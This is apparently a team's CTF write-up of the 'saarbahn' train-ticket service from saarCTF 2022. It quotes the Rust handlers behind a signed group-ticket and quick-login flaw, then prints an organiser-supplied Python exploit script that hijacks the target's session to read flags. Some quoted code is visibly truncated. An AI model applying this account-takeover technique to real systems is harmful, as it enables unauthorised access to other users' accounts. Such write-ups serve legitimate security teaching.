saarbahn is a Rocket (Rust) web-application that was part of saarCTF 2022. The service allowed users to log into a train ticket system. Also it allowed the user to add comments to their profile, get their personal ticket and comment different train stops.


The service, after logging in showed a profile with a comment area. It allowed the user to access their ticket as QR Code. Also the user was able to select different train stops and comment on them.

In the source code a group ticket was found that showed potential to be exploited. The Flags were stored in the target accounts comment section.


The service allowed to create a group ticket with another user as longe as a session was existing. After a request to the REST API a group ticket can be created with the target’s email adress. This ticket is then returned as an QR Code.

#[post("/generate_group_ticket", data="<friends>")]
fn generate_group_ticket(user: User, friends: Form<GroupTicket>) -> Template {
    let mail =;
    let mut friends_vec = friends.friends.to_vec();
    let mut list = Vec::new();
    friends_vec.iter().for_each(|friend| {
        let friend_string = friend.to_string();
        if !list.contains(&friend_string) {
            list.insert(0, friend_string);
    let data = json!(list);
    let signature = sign_json(data);
    let ticket = json!({
        "data": list,
        "signature": signature
    let ticket_string = ticket.to_string();
    let qr_code = qr_code::QrCode::new(ticket_string);
    match qr_code {
        Ok(qr) => {
            let qrcode = qr.to_string(false, 3);
            Template::render("generate_ticket", context! {name: user.username, qr: qrcode})

This QR Code needs to be parsed back into a string to continue. Then a quick login can be performed allowing the user to pass a ticket to log in without password. It creates a session for the friend passed down in the QRTicket.

#[post("/quick_login", data = "<ticket>")]
async fn quick_login(
    conn: MyPgDatabase,
    jar: &CookieJar<'_>,
    ticket: Form<QrTicket>,
) -> Result<Flash<Redirect>, Flash<Redirect>> {
    let ticket_string = ticket.ticket.to_string();
    let ticket_json: serde_json::Value = serde_json::from_str(&ticket_string).unwrap();
    let signature = ticket_json["signature"].as_str().unwrap();
    let signature_expected = sign_json(ticket_json["data"].clone());
    if signature != signature_expected {
        return Err(Flash::error(Redirect::to(uri!(show_error)), "Invalid QR code!"));

    let data = ticket_json["data"].clone();
    match data {
        serde_json::Value::Array(array) => {   
            match &array[0]{
                serde_json::Value::String(mail) => {
                    let mail = String::from(mail);
                    let response = format!("Could not find user with email {}", mail);
                    let result = conn
                        .run(move |c| load_single_user(c, mail))
                    match result {
                        Ok(inner) => {
                            jar.add_private(Cookie::new("username", inner.username));
                            jar.add_private(Cookie::new("first", inner.first));
                            jar.add_private(Cookie::new("last", inner.last));
                            Ok(Flash::success(Redirect::to(uri!(profile)), "Successfully logged in!"))
                        Err(_) => {
                            Err(Flash::error(Redirect::to(uri!(show_error)), response))
                _ => Err(Flash::error(Redirect::to(uri!(show_error)), "Invalid QR code! (2)")),
        _ => Err(Flash::error(Redirect::to(uri!(show_error)), "Invalid QR code!")),

Automation of the Exploit

Sadly we didn’t manage to automate the attack during the CTF due to the limited time we had available, when we found out about this weakness in the system. So here is the Script supplied by the SaarCTF Team.

The following script show the creation of an example user, who then generated a group ticket with the target of the attack. The group ticket is then parsed and a second session for the friend is generated. After the login the body of the page is printed showing the Flag.

from pwn import *
from hashlib import sha256
import requests
from PIL import Image, ImageDraw, ImageFont, ImageOps
from pyzbar.pyzbar import decode, ZBarSymbol
import os

port = 8000

FONT_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), "SourceCodePro-Regular.ttf")
if not os.path.exists(FONT_PATH):
    response = requests.get('')
    assert response.status_code == 200
    with open(FONT_PATH, 'wb') as f:

def randstr():
    return "".join([random.choice(string.ascii_letters + string.digits) for n in range(random.randint(5,10))])

def exploit(target, flag_ids):
    s = requests.Session()
    username = randstr()
    first = randstr()
    last = randstr()
    email = randstr()+"@"+randstr()+".com"
    password = randstr()
    register_data = {"username": username, "first": first, "last": last, "email": email, "password": password}
    r ="https://{target}:{port}/register",data=register_data,timeout=1, verify=False)
    for flag_id in ids:
        r ="https://{target}:{port}/generate_group_ticket",data={"friends": [email, flag_id]},timeout=1, verify=False)

        qrcode = r.text.split('<code style="display: block; white-space: pre">')[1].split('</code>')[0]


        img ='RGB', (2000, 2000))
        d = ImageDraw.Draw(img)
        font = ImageFont.truetype(FONT_PATH, 40)
        d.text((0, 0), qrcode, fill=(255, 255, 255), font=font)
        img = ImageOps.invert(img)

        data = decode(img, symbols=[ZBarSymbol.QRCODE])
        s2 = requests.Session()
        r ="https://{target}:{port}/quick_login",data={"ticket": data[0].data},timeout=1, verify=False)

if __name__ == '__main__':
    exploit(sys.argv[1] if len(sys.argv) > 1 else 'localhost', sys.argv[2])

Fixing/Patching the exploit

Due to missing time we didn’t manage to patch this vulnerability in out system.